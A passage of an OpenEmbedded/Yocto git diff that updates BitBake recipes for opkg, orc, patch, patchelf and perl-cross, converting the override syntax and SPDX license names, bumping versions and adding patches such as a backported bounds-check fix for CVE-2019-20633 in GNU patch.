+RPROVIDES:update-alternatives-opkg = "update-alternatives update-alternatives-cworth"
+RREPLACES:update-alternatives-opkg = "update-alternatives-cworth"
+RCONFLICTS:update-alternatives-opkg = "update-alternatives-cworth"
+
+pkg_postrm:update-alternatives-opkg() {
+ rm -rf $D${nonarch_libdir}/opkg/alternatives
+ rmdir $D${nonarch_libdir}/opkg || true
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+CLEANBROKEN = "1"
diff --git a/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb b/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb
index 0c2dbc9e32..dc17de2e8e 100644
--- a/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb
+++ b/meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb
@@ -26,10 +26,10 @@ do_install () {
install -m 0644 ${S}/${sysconfdir}/opkg/* ${D}${sysconfdir}/opkg/
}
-FILES_${PN} = "${sysconfdir}/opkg/ "
+FILES:${PN} = "${sysconfdir}/opkg/ "
-CONFFILES_${PN} += "${sysconfdir}/opkg/arch.conf"
+CONFFILES:${PN} += "${sysconfdir}/opkg/arch.conf"
-RREPLACES_${PN} = "opkg-config-base"
-RCONFLICTS_${PN} = "opkg-config-base"
-RPROVIDES_${PN} = "opkg-config-base"
+RREPLACES:${PN} = "opkg-config-base"
+RCONFLICTS:${PN} = "opkg-config-base"
+RPROVIDES:${PN} = "opkg-config-base"
diff --git a/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb b/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb
index a20e316a3d..84aeb98068 100644
--- a/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb
+++ b/meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384
# Distro-specific keys can be added to this package in two ways:
#
# 1) In a .bbappend, add .gpg and/or .asc files to SRC_URI and install them to
-# ${D}${datadir}/opkg/keyrings/ in a do_install_append function. These
+# ${D}${datadir}/opkg/keyrings/ in a do_install:append function. These
# files should not be named 'key-$name.gpg' to ensure they don't conflict
# with keys exported as per (2).
#
@@ -30,11 +30,14 @@ do_install () {
done
}
-FILES_${PN} = "${datadir}/opkg/keyrings"
+FILES:${PN} = "${datadir}/opkg/keyrings"
# We need 'opkg-key' to run the postinst script
-RDEPENDS_${PN} = "opkg"
+RDEPENDS:${PN} = "opkg"
-pkg_postinst_ontarget_${PN} () {
-opkg-key populate
+pkg_postinst_ontarget:${PN} () {
+ if test -x ${bindir}/opkg-key
+ then
+ ${bindir}/opkg-key populate
+ fi
}
diff --git a/meta/recipes-devtools/opkg/opkg_0.4.1.bb b/meta/recipes-devtools/opkg/opkg_0.4.1.bb
deleted file mode 100644
index 104f07fda8..0000000000
--- a/meta/recipes-devtools/opkg/opkg_0.4.1.bb
+++ /dev/null
@@ -1,81 +0,0 @@
-SUMMARY = "Open Package Manager"
-SUMMARY_libopkg = "Open Package Manager library"
-SECTION = "base"
-HOMEPAGE = "http://code.google.com/p/opkg/"
-BUGTRACKER = "http://code.google.com/p/opkg/issues/list"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://src/opkg.c;beginline=2;endline=21;md5=90435a519c6ea69ef22e4a88bcc52fa0"
-
-DEPENDS = "libarchive"
-
-PE = "1"
-
-SRC_URI = "http://downloads.yoctoproject.org/releases/${BPN}/${BPN}-${PV}.tar.gz \
- file://opkg.conf \
- file://0001-opkg_conf-create-opkg.lock-in-run-instead-of-var-run.patch \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "ba0c21305fc93b26e844981ef100dc85"
-SRC_URI[sha256sum] = "45ac1e037d3877f635d883f8a555e172883a25d3eeb7986c75890fdd31250a43"
-
-# This needs to be before ptest inherit, otherwise all ptest files end packaged
-# in libopkg package if OPKGLIBDIR == libdir, because default
-# PTEST_PATH ?= "${libdir}/${BPN}/ptest"
-PACKAGES =+ "libopkg"
-
-inherit autotools pkgconfig ptest
-
-target_localstatedir := "${localstatedir}"
-OPKGLIBDIR ??= "${target_localstatedir}/lib"
-
-PACKAGECONFIG ??= "libsolv"
-
-PACKAGECONFIG[gpg] = "--enable-gpg,--disable-gpg,gpgme libgpg-error,gnupg"
-PACKAGECONFIG[curl] = "--enable-curl,--disable-curl,curl"
-PACKAGECONFIG[ssl-curl] = "--enable-ssl-curl,--disable-ssl-curl,curl openssl"
-PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
-PACKAGECONFIG[sha256] = "--enable-sha256,--disable-sha256"
-PACKAGECONFIG[libsolv] = "--with-libsolv,--without-libsolv,libsolv"
-
-EXTRA_OECONF += " --disable-pathfinder"
-EXTRA_OECONF_class-native = "--localstatedir=/${@os.path.relpath('${localstatedir}', '${STAGING_DIR_NATIVE}')} --sysconfdir=/${@os.path.relpath('${sysconfdir}', '${STAGING_DIR_NATIVE}')}"
-
-# Release tarball has unused binaries on the tests folder, automatically created by automake.
-# For now, delete them to avoid packaging errors (wrong architecture)
-do_unpack_append () {
- bb.build.exec_func('remove_test_binaries', d)
-}
-
-remove_test_binaries () {
- rm ${WORKDIR}/opkg-${PV}/tests/libopkg_test*
-}
-
-do_install_append () {
- install -d ${D}${sysconfdir}/opkg
- install -m 0644 ${WORKDIR}/opkg.conf ${D}${sysconfdir}/opkg/opkg.conf
- echo "option lists_dir ${OPKGLIBDIR}/opkg/lists" >>${D}${sysconfdir}/opkg/opkg.conf
-
- # We need to create the lock directory
- install -d ${D}${OPKGLIBDIR}/opkg
-}
-
-do_install_ptest () {
- sed -i -e '/@echo $^/d' ${D}${PTEST_PATH}/tests/Makefile
- sed -i -e '/@PYTHONPATH=. $(PYTHON) $^/a\\t@if [ "$$?" != "0" ];then echo "FAIL:"$^;else echo "PASS:"$^;fi' ${D}${PTEST_PATH}/tests/Makefile
-}
-
-RDEPENDS_${PN} = "${VIRTUAL-RUNTIME_update-alternatives} opkg-arch-config libarchive"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}-ptest += "make binutils python3-core python3-compression"
-RREPLACES_${PN} = "opkg-nogpg opkg-collateral"
-RCONFLICTS_${PN} = "opkg-collateral"
-RPROVIDES_${PN} = "opkg-collateral"
-
-FILES_libopkg = "${libdir}/*.so.* ${OPKGLIBDIR}/opkg/"
-
-BBCLASSEXTEND = "native nativesdk"
-
-CONFFILES_${PN} = "${sysconfdir}/opkg/opkg.conf"
diff --git a/meta/recipes-devtools/opkg/opkg_0.5.0.bb b/meta/recipes-devtools/opkg/opkg_0.5.0.bb
new file mode 100644
index 0000000000..e91d7250bc
--- /dev/null
+++ b/meta/recipes-devtools/opkg/opkg_0.5.0.bb
@@ -0,0 +1,72 @@
+SUMMARY = "Open Package Manager"
+SUMMARY:libopkg = "Open Package Manager library"
+SECTION = "base"
+HOMEPAGE = "http://code.google.com/p/opkg/"
+DESCRIPTION = "Opkg is a lightweight package management system based on Ipkg."
+BUGTRACKER = "http://code.google.com/p/opkg/issues/list"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://src/opkg.c;beginline=4;endline=18;md5=d6200b0f2b41dee278aa5fad333eecae"
+
+DEPENDS = "libarchive"
+
+PE = "1"
+
+SRC_URI = "http://downloads.yoctoproject.org/releases/${BPN}/${BPN}-${PV}.tar.gz \
+ file://opkg.conf \
+ file://0001-opkg_conf-create-opkg.lock-in-run-instead-of-var-run.patch \
+ file://run-ptest \
+"
+
+SRC_URI[sha256sum] = "559c3e1b893abaa1dd473ce3a9a5f7dd3f60ceb6cd14caaef76ddf0f7721ad1c"
+
+# This needs to be before ptest inherit, otherwise all ptest files end packaged
+# in libopkg package if OPKGLIBDIR == libdir, because default
+# PTEST_PATH ?= "${libdir}/${BPN}/ptest"
+PACKAGES =+ "libopkg"
+
+inherit autotools pkgconfig ptest
+
+target_localstatedir := "${localstatedir}"
+OPKGLIBDIR ??= "${target_localstatedir}/lib"
+
+PACKAGECONFIG ??= "libsolv"
+
+PACKAGECONFIG[gpg] = "--enable-gpg,--disable-gpg,\
+ gnupg gpgme libgpg-error,\
+ ${@ "gnupg" if ("native" in d.getVar("PN")) else "gnupg-gpg"}\
+ "
+PACKAGECONFIG[curl] = "--enable-curl,--disable-curl,curl"
+PACKAGECONFIG[ssl-curl] = "--enable-ssl-curl,--disable-ssl-curl,curl openssl"
+PACKAGECONFIG[sha256] = "--enable-sha256,--disable-sha256"
+PACKAGECONFIG[libsolv] = "--with-libsolv,--without-libsolv,libsolv"
+
+EXTRA_OECONF:class-native = "--localstatedir=/${@os.path.relpath('${localstatedir}', '${STAGING_DIR_NATIVE}')} --sysconfdir=/${@os.path.relpath('${sysconfdir}', '${STAGING_DIR_NATIVE}')}"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/opkg
+ install -m 0644 ${WORKDIR}/opkg.conf ${D}${sysconfdir}/opkg/opkg.conf
+ echo "option lists_dir ${OPKGLIBDIR}/opkg/lists" >>${D}${sysconfdir}/opkg/opkg.conf
+
+ # We need to create the lock directory
+ install -d ${D}${OPKGLIBDIR}/opkg
+}
+
+do_install_ptest () {
+ sed -i -e '/@echo $^/d' ${D}${PTEST_PATH}/tests/Makefile
+ sed -i -e '/@PYTHONPATH=. $(PYTHON) $^/a\\t@if [ "$$?" != "0" ];then echo "FAIL:"$^;else echo "PASS:"$^;fi' ${D}${PTEST_PATH}/tests/Makefile
+}
+
+RDEPENDS:${PN} = "${VIRTUAL-RUNTIME_update-alternatives} opkg-arch-config libarchive"
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}-ptest += "make binutils python3-core python3-compression"
+RREPLACES:${PN} = "opkg-nogpg opkg-collateral"
+RCONFLICTS:${PN} = "opkg-collateral"
+RPROVIDES:${PN} = "opkg-collateral"
+
+FILES:libopkg = "${libdir}/*.so.* ${OPKGLIBDIR}/opkg/"
+
+BBCLASSEXTEND = "native nativesdk"
+
+CONFFILES:${PN} = "${sysconfdir}/opkg/opkg.conf"
diff --git a/meta/recipes-devtools/orc/orc_0.4.29.bb b/meta/recipes-devtools/orc/orc_0.4.29.bb
deleted file mode 100644
index 8313576ab4..0000000000
--- a/meta/recipes-devtools/orc/orc_0.4.29.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Optimised Inner Loop Runtime Compiler"
-HOMEPAGE = "http://gstreamer.freedesktop.org/modules/orc.html"
-LICENSE = "BSD-2-Clause & BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1400bd9d09e8af56b9ec982b3d85797e"
-
-SRC_URI = "http://gstreamer.freedesktop.org/src/orc/orc-${PV}.tar.xz"
-SRC_URI[md5sum] = "25799917c7d31a891d5e32b83ad08f6d"
-SRC_URI[sha256sum] = "4f8901f9144b5ec17dffdb33548b5f4c7f8049b0d1023be3462cdd64ec5a3ab2"
-
-inherit autotools pkgconfig gtk-doc
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGES =+ "orc-examples"
-PACKAGES_DYNAMIC += "^liborc-.*"
-FILES_orc-examples = "${libdir}/orc/*"
-FILES_${PN} = "${bindir}/*"
-
-python populate_packages_prepend () {
- libdir = d.expand('${libdir}')
- do_split_packages(d, libdir, r'^lib(.*)\.so\.*', 'lib%s', 'ORC %s library', extra_depends='', allow_links=True)
-}
-
-do_compile_prepend_class-native () {
- sed -i -e 's#/tmp#.#g' ${S}/orc/orccodemem.c
-}
diff --git a/meta/recipes-devtools/orc/orc_0.4.32.bb b/meta/recipes-devtools/orc/orc_0.4.32.bb
new file mode 100644
index 0000000000..829255f110
--- /dev/null
+++ b/meta/recipes-devtools/orc/orc_0.4.32.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Optimised Inner Loop Runtime Compiler"
+HOMEPAGE = "http://gstreamer.freedesktop.org/modules/orc.html"
+DESCRIPTION = "Optimised Inner Loop Runtime Compiler is a Library and set of tools for compiling and executing SIMD assembly language-like programs that operate on arrays of data."
+LICENSE = "BSD-2-Clause & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1400bd9d09e8af56b9ec982b3d85797e"
+
+SRC_URI = "http://gstreamer.freedesktop.org/src/orc/orc-${PV}.tar.xz"
+SRC_URI[sha256sum] = "a66e3d8f2b7e65178d786a01ef61f2a0a0b4d0b8370de7ce134ba73da4af18f0"
+
+inherit meson pkgconfig gtk-doc
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+GTKDOC_MESON_ENABLE_FLAG = "enabled"
+GTKDOC_MESON_DISABLE_FLAG = "disabled"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGES =+ "orc-examples"
+PACKAGES_DYNAMIC += "^liborc-.*"
+FILES:orc-examples = "${libdir}/orc/*"
+FILES:${PN} = "${bindir}/*"
+
+python populate_packages:prepend () {
+ libdir = d.expand('${libdir}')
+ do_split_packages(d, libdir, r'^lib(.*)\.so\.*', 'lib%s', 'ORC %s library', extra_depends='', allow_links=True)
+}
+
+do_compile:prepend:class-native () {
+ sed -i -e 's#/tmp#.#g' ${S}/orc/orccodemem.c
+}
diff --git a/meta/recipes-devtools/packagegroups/packagegroup-core-device-devel.bb b/meta/recipes-devtools/packagegroups/packagegroup-core-device-devel.bb
deleted file mode 100644
index edee474eca..0000000000
--- a/meta/recipes-devtools/packagegroups/packagegroup-core-device-devel.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-SUMMARY = "Provides a small set of tools for development on the device"
-
-PR = "r1"
-
-inherit packagegroup
-
-RPROVIDES_${PN} = "qemu-config"
-RREPLACES_${PN} = "qemu-config"
-RCONFLICTS_${PN} = "qemu-config"
-
-RDEPENDS_${PN} = "\
- distcc-config \
- nfs-export-root \
- bash \
- binutils-symlinks \
- "
diff --git a/meta/recipes-devtools/patch/patch.inc b/meta/recipes-devtools/patch/patch.inc
index cbfb8cfcf5..a12d426b2c 100644
--- a/meta/recipes-devtools/patch/patch.inc
+++ b/meta/recipes-devtools/patch/patch.inc
@@ -10,5 +10,5 @@ S = "${WORKDIR}/patch-${PV}"
inherit autotools update-alternatives
-ALTERNATIVE_${PN} = "patch"
+ALTERNATIVE:${PN} = "patch"
ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch b/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch
index 9f8b6db0b9..8059d9fe19 100644
--- a/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch
+++ b/meta/recipes-devtools/patch/patch/CVE-2019-13636.patch
@@ -11,7 +11,7 @@ that consistently for input files.
with O_CREAT | O_EXCL to avoid following symlinks in that case as well.
CVE: CVE-2019-13636
-Upstream-Status: Backport[https://git.savannah.gnu.org/cgit/patch.git/patch/?id=dce4683cbbe107a95f1f0d45fabc304acfb5d71a]
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/patch.git/patch/?id=dce4683cbbe107a95f1f0d45fabc304acfb5d71a]
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
---
diff --git a/meta/recipes-devtools/patch/patch/CVE-2019-20633.patch b/meta/recipes-devtools/patch/patch/CVE-2019-20633.patch
new file mode 100644
index 0000000000..9b2c07cf1e
--- /dev/null
+++ b/meta/recipes-devtools/patch/patch/CVE-2019-20633.patch
@@ -0,0 +1,31 @@
+From 15b158db3ae11cb835f2eb8d2eb48e09d1a4af48 Mon Sep 17 00:00:00 2001
+From: Andreas Gruenbacher <agruen@gnu.org>
+Date: Mon, 15 Jul 2019 19:10:02 +0200
+Subject: Avoid invalid memory access in context format diffs
+
+* src/pch.c (another_hunk): Avoid invalid memory access in context format
+diffs.
+
+CVE: CVE-2019-20633
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/patch.git/patch/?id=15b158db3ae11cb835f2eb8d2eb48e09d1a4af48]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/pch.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/pch.c b/src/pch.c
+index a500ad9..cb54e03 100644
+--- a/src/pch.c
++++ b/src/pch.c
+@@ -1328,6 +1328,7 @@ another_hunk (enum diff difftype, bool rev)
+ ptrn_prefix_context = context;
+ ptrn_suffix_context = context;
+ if (repl_beginning
++ || p_end <= 0
+ || (p_end
+ != p_ptrn_lines + 1 + (p_Char[p_end - 1] == '\n')))
+ {
+--
+cgit v1.2.1
+
diff --git a/meta/recipes-devtools/patch/patch_2.7.6.bb b/meta/recipes-devtools/patch/patch_2.7.6.bb
index 5d7f55f8dc..e0e44f9c97 100644
--- a/meta/recipes-devtools/patch/patch_2.7.6.bb
+++ b/meta/recipes-devtools/patch/patch_2.7.6.bb
@@ -1,5 +1,5 @@
require patch.inc
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
SRC_URI += "file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
file://0002-Fix-segfault-with-mangled-rename-patch.patch \
@@ -10,6 +10,7 @@ SRC_URI += "file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
file://0001-Invoke-ed-directly-instead-of-using-the-shell.patch \
file://0001-Don-t-leak-temporary-file-on-failed-ed-style-patch.patch \
file://0001-Don-t-leak-temporary-file-on-failed-multi-file-ed.patch \
+ file://CVE-2019-20633.patch \
"
SRC_URI[md5sum] = "4c68cee989d83c87b00a3860bcd05600"
@@ -22,3 +23,6 @@ acpaths = "-I ${S}/m4 "
PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'xattr', d)}"
PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
+PROVIDES:append:class-native = " patch-replacement-native"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/patchelf/patchelf/fix-adjusting-startPage.patch b/meta/recipes-devtools/patchelf/patchelf/fix-adjusting-startPage.patch
deleted file mode 100644
index a0988423fe..0000000000
--- a/meta/recipes-devtools/patchelf/patchelf/fix-adjusting-startPage.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 1630d3f846c7721b1e7cd3b005bb2b34816e1d0f Mon Sep 17 00:00:00 2001
-From: Ed Bartosh <ed.bartosh@linux.intel.com>
-Date: Fri, 21 Jul 2017 12:33:53 +0300
-Subject: [PATCH] patchelf: fix segfault for binaries linked by gold
-
-commit 1cc234fea5600190d872329aca60e2365cefc39e
-
-fix adjusting startPage
-
-startPage is adjusted unconditionally for all executables.
-This results in incorrect addresses assigned to INTERP and LOAD
-program headers, which breaks patched executable.
-
-Adjusting startPage variable only when startOffset > startPage
-should fix this.
-
-This change is related to the issue NixOS#10
-
-Signed-off-by: Ed Bartosh <ed.bartosh@linux.intel.com>
-
-Github PR: https://github.com/NixOS/patchelf/pull/127
-
-Upstream-Status: Submitted
-
----
- src/patchelf.cc | 6 ++----
- 1 file changed, 2 insertions(+), 4 deletions(-)
-
-diff --git a/src/patchelf.cc b/src/patchelf.cc
-index a63e3a11c61f..2483d25d78f1 100644
---- a/src/patchelf.cc
-+++ b/src/patchelf.cc
-@@ -756,10 +756,8 @@ void ElfFile<ElfFileParamNames>::rewriteSectionsLibrary()
- since DYN executables tend to start at virtual address 0, so
- rewriteSectionsExecutable() won't work because it doesn't have
- any virtual address space to grow downwards into. */
-- if (isExecutable) {
-- if (startOffset >= startPage) {
-- debug("shifting new PT_LOAD segment by %d bytes to work around a Linux kernel bug\n", startOffset - startPage);
-- }
-+ if (isExecutable && startOffset > startPage) {
-+ debug("shifting new PT_LOAD segment by %d bytes to work around a Linux kernel bug\n", startOffset - startPage);
- startPage = startOffset;
- }
-
diff --git a/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch b/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch
index 03b0d18a89..b755a263a4 100644
--- a/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch
+++ b/meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch
@@ -1,4 +1,4 @@
-From 7f1fd10cfebd5ea2f3e1938abe1bd1c4828164a7 Mon Sep 17 00:00:00 2001
+From 682fb48c137b687477008b68863c2a0b73ed47d1 Mon Sep 17 00:00:00 2001
From: Fabio Berton <fabio.berton@ossystems.com.br>
Date: Fri, 9 Sep 2016 16:00:42 -0300
Subject: [PATCH] handle read-only files
@@ -14,37 +14,52 @@ Signed-off-by: Fabio Berton <fabio.berton@ossystems.com.br>
src/patchelf.cc | 16 +++++++++++++++-
1 file changed, 15 insertions(+), 1 deletion(-)
-diff --git a/src/patchelf.cc b/src/patchelf.cc
-index 0b4965adff83..b5db2aef0e8a 100644
---- a/src/patchelf.cc
-+++ b/src/patchelf.cc
-@@ -497,7 +497,17 @@ void ElfFile<ElfFileParamNames>::sortShdrs()
+Index: git/src/patchelf.cc
+===================================================================
+--- git.orig/src/patchelf.cc
++++ git/src/patchelf.cc
+@@ -534,9 +534,19 @@ void ElfFile<ElfFileParamNames>::sortShd
- static void writeFile(std::string fileName, FileContents contents)
+ static void writeFile(const std::string & fileName, const FileContents & contents)
{
-- int fd = open(fileName.c_str(), O_TRUNC | O_WRONLY);
+ struct stat st;
+ int fd;
+
+ debug("writing %s\n", fileName.c_str());
+
+- int fd = open(fileName.c_str(), O_CREAT | O_TRUNC | O_WRONLY, 0777);
+ if (stat(fileName.c_str(), &st) != 0)
+ error("stat");
+
+ if (chmod(fileName.c_str(), 0600) != 0)
+ error("chmod");
+
-+ fd = open(fileName.c_str(), O_TRUNC | O_WRONLY);
++ fd = open(fileName.c_str(), O_CREAT | O_TRUNC | O_WRONLY, 0777);
+
if (fd == -1)
error("open");
-@@ -511,6 +521,10 @@ static void writeFile(std::string fileName, FileContents contents)
+@@ -551,8 +561,6 @@ static void writeFile(const std::string
+ bytesWritten += portion;
+ }
- if (close(fd) != 0)
- error("close");
+- if (close(fd) >= 0)
+- return;
+ /*
+ * Just ignore EINTR; a retry loop is the wrong thing to do.
+ *
+@@ -561,9 +569,11 @@ static void writeFile(const std::string
+ * http://utcc.utoronto.ca/~cks/space/blog/unix/CloseEINTR
+ * https://sites.google.com/site/michaelsafyan/software-engineering/checkforeintrwheninvokingclosethinkagain
+ */
+- if (errno == EINTR)
+- return;
+- error("close");
++ if ((close(fd) < 0) && errno != EINTR)
++ error("close");
+
+ if (chmod(fileName.c_str(), st.st_mode) != 0)
+ error("chmod");
-+
}
diff --git a/meta/recipes-devtools/patchelf/patchelf_0.10.bb b/meta/recipes-devtools/patchelf/patchelf_0.10.bb
deleted file mode 100644
index 580108e8b8..0000000000
--- a/meta/recipes-devtools/patchelf/patchelf_0.10.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-SRC_URI = "http://nixos.org/releases/${BPN}/${BPN}-${PV}/${BPN}-${PV}.tar.bz2 \
- file://handle-read-only-files.patch \
- file://fix-adjusting-startPage.patch \
- "
-
-LICENSE = "GPLv3"
-SUMMARY = "Tool to allow editing of RPATH and interpreter fields in ELF binaries"
-
-SRC_URI[md5sum] = "6c3f3a06a95705870d129494a6880106"
-SRC_URI[sha256sum] = "f670cd462ac7161588c28f45349bc20fb9bd842805e3f71387a320e7a9ddfcf3"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-inherit autotools
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/patchelf/patchelf_0.14.5.bb b/meta/recipes-devtools/patchelf/patchelf_0.14.5.bb
new file mode 100644
index 0000000000..0fa2c00f1d
--- /dev/null
+++ b/meta/recipes-devtools/patchelf/patchelf_0.14.5.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Tool to allow editing of RPATH and interpreter fields in ELF binaries"
+DESCRIPTION = "PatchELF is a simple utility for modifying existing ELF executables and libraries."
+HOMEPAGE = "https://github.com/NixOS/patchelf"
+
+LICENSE = "GPL-3.0-only"
+
+SRC_URI = "git://github.com/NixOS/patchelf;protocol=https;branch=master \
+ file://handle-read-only-files.patch \
+ "
+SRCREV = "a35054504293f9ff64539850d1ed0bfd2f5399f2"
+
+S = "${WORKDIR}/git"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+inherit autotools
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch b/meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch
new file mode 100644
index 0000000000..8c8f3b717c
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch
@@ -0,0 +1,31 @@
+From 24a3e0c48f9ebe473b5f1078663e275c27d0537f Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Fri, 2 Jul 2021 09:08:21 +0000
+Subject: [PATCH] Makefile: check the file if patched or not
+
+Check the file if patched or not to avoid patched more than
+one time.
+
+Upstream-Status: Inappropriate (OE-specific)
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile b/Makefile
+index f4a26f5..7bc748e 100644
+--- a/Makefile
++++ b/Makefile
+@@ -61,7 +61,7 @@ miniperlmain$O: $(CROSSPATCHED)
+ # Original versions are not saved anymore; patch generally takes care of this,
+ # and if that fails, reaching for the source tarball is the safest option.
+ $(CROSSPATCHED): %.applied: %.patch
+- patch -p1 -i $< && touch $@
++ test ! -f $@ && (patch -p1 -i $< && touch $@) || echo "$@ exist"
+
+ # ---[ common ]-----------------------------------------------------------------
+
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/perl-cross/files/0001-cnf-configure_func_sel.sh-disable-thread_safe_nl_lan.patch b/meta/recipes-devtools/perl-cross/files/0001-cnf-configure_func_sel.sh-disable-thread_safe_nl_lan.patch
new file mode 100644
index 0000000000..744e4e09c3
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/0001-cnf-configure_func_sel.sh-disable-thread_safe_nl_lan.patch
@@ -0,0 +1,27 @@
+From d22f2bb5afcd278b68999f5ce0362328fc8c7723 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Thu, 3 Jun 2021 18:50:56 +0200
+Subject: [PATCH] cnf/configure_func_sel.sh: disable thread_safe_nl_langinfo_l
+
+Upstream-Status: Submitted [https://github.com/arsv/perl-cross/pull/115]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ cnf/configure_func_sel.sh | 8 ++++++--
+ 1 file changed, 6 insertions(+), 2 deletions(-)
+
+diff --git a/cnf/configure_func_sel.sh b/cnf/configure_func_sel.sh
+index f48294f..90d350d 100644
+--- a/cnf/configure_func_sel.sh
++++ b/cnf/configure_func_sel.sh
+@@ -97,5 +97,9 @@ else
+ result "irrelevant"
+ fi
+
+-# Assume nl_langinfo_l is threadsafe if available
+-define d_thread_safe_nl_langinfo_l "$d_nl_langinfo_l"
++# thread_safe_nl_langinfo_l is not enabled by default
++# by upstream, and causes t/Langinfo.t to fail when it is
++# (starting from 5.34.0). This means the configuration is
++# either not well tested, or not at all tested, so we should
++# pick a safer option.
++define d_thread_safe_nl_langinfo_l "undef"
diff --git a/meta/recipes-devtools/perl/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch b/meta/recipes-devtools/perl-cross/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch
index 3b0fc453e5..386ea3f27f 100644
--- a/meta/recipes-devtools/perl/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch
+++ b/meta/recipes-devtools/perl-cross/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch
@@ -4,7 +4,7 @@ Date: Wed, 2 Jan 2019 17:55:35 +0100
Subject: [PATCH] configure_path.sh: do not hardcode $prefix/lib as library
path
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/arsv/perl-cross/pull/123]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
diff --git a/meta/recipes-devtools/perl/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch b/meta/recipes-devtools/perl-cross/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch
index 0aaeaa29eb..1d90b0fda7 100644
--- a/meta/recipes-devtools/perl/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch
+++ b/meta/recipes-devtools/perl-cross/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch
@@ -5,7 +5,7 @@ Subject: [PATCH] configure_tool.sh: do not quote the argument to 'command'
As it seems to break things if the argument has spaces and arguments in it.
-Upstream-Status: Pending
+Upstream-Status: Backport [443f7bd08b19e71a2e838dcb6cde176998cd350f]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
cnf/configure_tool.sh | 2 +-
diff --git a/meta/recipes-devtools/perl/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch b/meta/recipes-devtools/perl-cross/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch
index e7985036a0..6c3f08c432 100644
--- a/meta/recipes-devtools/perl/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch
+++ b/meta/recipes-devtools/perl-cross/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch
